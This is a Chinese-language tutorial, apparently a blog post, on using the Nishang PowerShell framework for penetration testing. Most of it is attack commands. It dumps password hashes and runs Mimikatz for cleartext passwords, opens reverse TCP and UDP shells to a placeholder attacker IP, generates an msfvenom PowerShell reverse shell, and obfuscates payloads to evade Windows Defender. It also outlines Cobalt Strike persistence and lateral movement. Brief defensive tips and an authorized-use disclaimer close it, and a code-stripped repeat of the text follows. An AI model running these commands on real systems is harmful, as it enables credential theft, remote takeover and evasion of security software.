茶话间--PowerShell渗透测试利器--Nishang
字数 1098 2025-08-18 11:38:52

PowerShell渗透测试利器Nishang使用指南

1. PowerShell基础概念

PowerShell是Windows平台上的高级脚本语言,可以视为cmd/bat的升级版,具有以下特点:

  • 面向对象,与.NET Framework紧密集成
  • 代码可运行在内存中,不接触磁盘
  • 多数安全产品难以监测其活动
  • 相比cmd.exe更不容易被阻止运行

2. Nishang工具简介

Nishang是基于PowerShell的渗透测试专用工具,集成了多种实用脚本和payload,包括:

  • 密码抓取
  • 端口扫描
  • 权限提升
  • 后门植入
  • 信息收集

GitHub下载地址:https://github.com/samratashok/nishang

3. 环境准备与基本配置

3.1 修改执行策略

默认情况下PowerShell不允许执行脚本,需要修改执行策略:

# 查询当前执行策略
Get-ExecutionPolicy

# 修改为允许执行脚本
Set-ExecutionPolicy RemoteSigned

3.2 导入Nishang模块

# 导入模块
Import-Module .\nishang.ps1

# 查看模块中的脚本
Get-Command -Module nishang

4. 常用功能模块详解

4.1 信息收集

# 获取系统基本信息
Get-Information

# 检查是否为虚拟机
Check-VM

4.2 密码抓取

4.2.1 获取哈希值

# 直接显示哈希值
Get-PassHashes

# 保存哈希值到文件
powershell -exec bypass -Command "& {Import-Module 'C:\nishang\Gather\Get-PassHashes.ps1'; Get-PassHashes -PSObjectFormat | Out-File hash.txt}"

4.2.2 获取明文密码

# 使用Mimikatz获取明文密码
powershell -exec bypass -Command "& {Import-Module 'C:\nishang\Gather\Invoke-Mimikatz.ps1'; Invoke-Mimikatz}"

4.3 端口反弹

4.3.1 TCP反向连接

攻击者监听:

nc -lvp 5555

目标主机执行:

Invoke-PowerShellTcp -Reverse -IPAddress [攻击者IP] -Port 5555

4.3.2 UDP反向连接

攻击者监听:

nc -lup 6666

目标主机执行:

Invoke-PowerShellUdp -Reverse -IPAddress [攻击者IP] -Port 6666

4.4 与Metasploit配合使用

4.4.1 查找PowerShell相关payload

msfvenom -l payloads | grep 'reverse_powershell'

4.4.2 生成反弹shell payload

msfvenom -p cmd/windows/reverse_powershell LHOST=[攻击者IP] LPORT=9999 R

将生成的命令在目标主机上执行,攻击者监听9999端口即可获得shell。

4.5 绕过Windows Defender

使用Invoke-Obfuscation工具对payload进行混淆:

  1. 启动工具:
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
  1. 设置要混淆的脚本块:
SET SCRIPTBLOCK 'powershell -nop -w hidden -c "..."'
  1. 选择混淆方式(如ASCII混淆):
TOKEN\ALL\1
  1. 输出混淆后的脚本:
OUT 1.ps1

5. 与Cobalt Strike配合使用

  1. 在Cobalt Strike中创建监听器
  2. 生成PowerShell payload
  3. 在目标主机上执行生成的PowerShell命令
  4. 目标主机上线后可进行:
    • 远程密码抓取
    • 权限提升
    • 持久化控制
    • 内网横向移动

6. 安全建议

防御Nishang攻击的建议:

  1. 限制PowerShell执行策略
  2. 监控异常PowerShell活动
  3. 及时更新防病毒软件特征库
  4. 实施最小权限原则
  5. 禁用不必要的脚本执行能力

7. 总结

Nishang作为一款强大的PowerShell渗透测试框架,提供了从信息收集到权限维持的完整工具链。通过本文介绍的核心功能,安全测试人员可以有效地评估Windows系统的安全性,同时防御者也能更好地理解攻击手法并采取相应防护措施。

注意:本文所有技术仅限合法授权测试使用,未经授权使用可能违反法律。

PowerShell渗透测试利器Nishang使用指南 1. PowerShell基础概念 PowerShell是Windows平台上的高级脚本语言,可以视为cmd/bat的升级版,具有以下特点: 面向对象,与.NET Framework紧密集成 代码可运行在内存中,不接触磁盘 多数安全产品难以监测其活动 相比cmd.exe更不容易被阻止运行 2. Nishang工具简介 Nishang是基于PowerShell的渗透测试专用工具,集成了多种实用脚本和payload,包括: 密码抓取 端口扫描 权限提升 后门植入 信息收集 GitHub下载地址:https://github.com/samratashok/nishang 3. 环境准备与基本配置 3.1 修改执行策略 默认情况下PowerShell不允许执行脚本,需要修改执行策略: 3.2 导入Nishang模块 4. 常用功能模块详解 4.1 信息收集 4.2 密码抓取 4.2.1 获取哈希值 4.2.2 获取明文密码 4.3 端口反弹 4.3.1 TCP反向连接 攻击者监听: 目标主机执行: 4.3.2 UDP反向连接 攻击者监听: 目标主机执行: 4.4 与Metasploit配合使用 4.4.1 查找PowerShell相关payload 4.4.2 生成反弹shell payload 将生成的命令在目标主机上执行,攻击者监听9999端口即可获得shell。 4.5 绕过Windows Defender 使用Invoke-Obfuscation工具对payload进行混淆: 启动工具: 设置要混淆的脚本块: 选择混淆方式(如ASCII混淆): 输出混淆后的脚本: 5. 与Cobalt Strike配合使用 在Cobalt Strike中创建监听器 生成PowerShell payload 在目标主机上执行生成的PowerShell命令 目标主机上线后可进行: 远程密码抓取 权限提升 持久化控制 内网横向移动 6. 安全建议 防御Nishang攻击的建议: 限制PowerShell执行策略 监控异常PowerShell活动 及时更新防病毒软件特征库 实施最小权限原则 禁用不必要的脚本执行能力 7. 总结 Nishang作为一款强大的PowerShell渗透测试框架,提供了从信息收集到权限维持的完整工具链。通过本文介绍的核心功能,安全测试人员可以有效地评估Windows系统的安全性,同时防御者也能更好地理解攻击手法并采取相应防护措施。 注意:本文所有技术仅限合法授权测试使用,未经授权使用可能违反法律。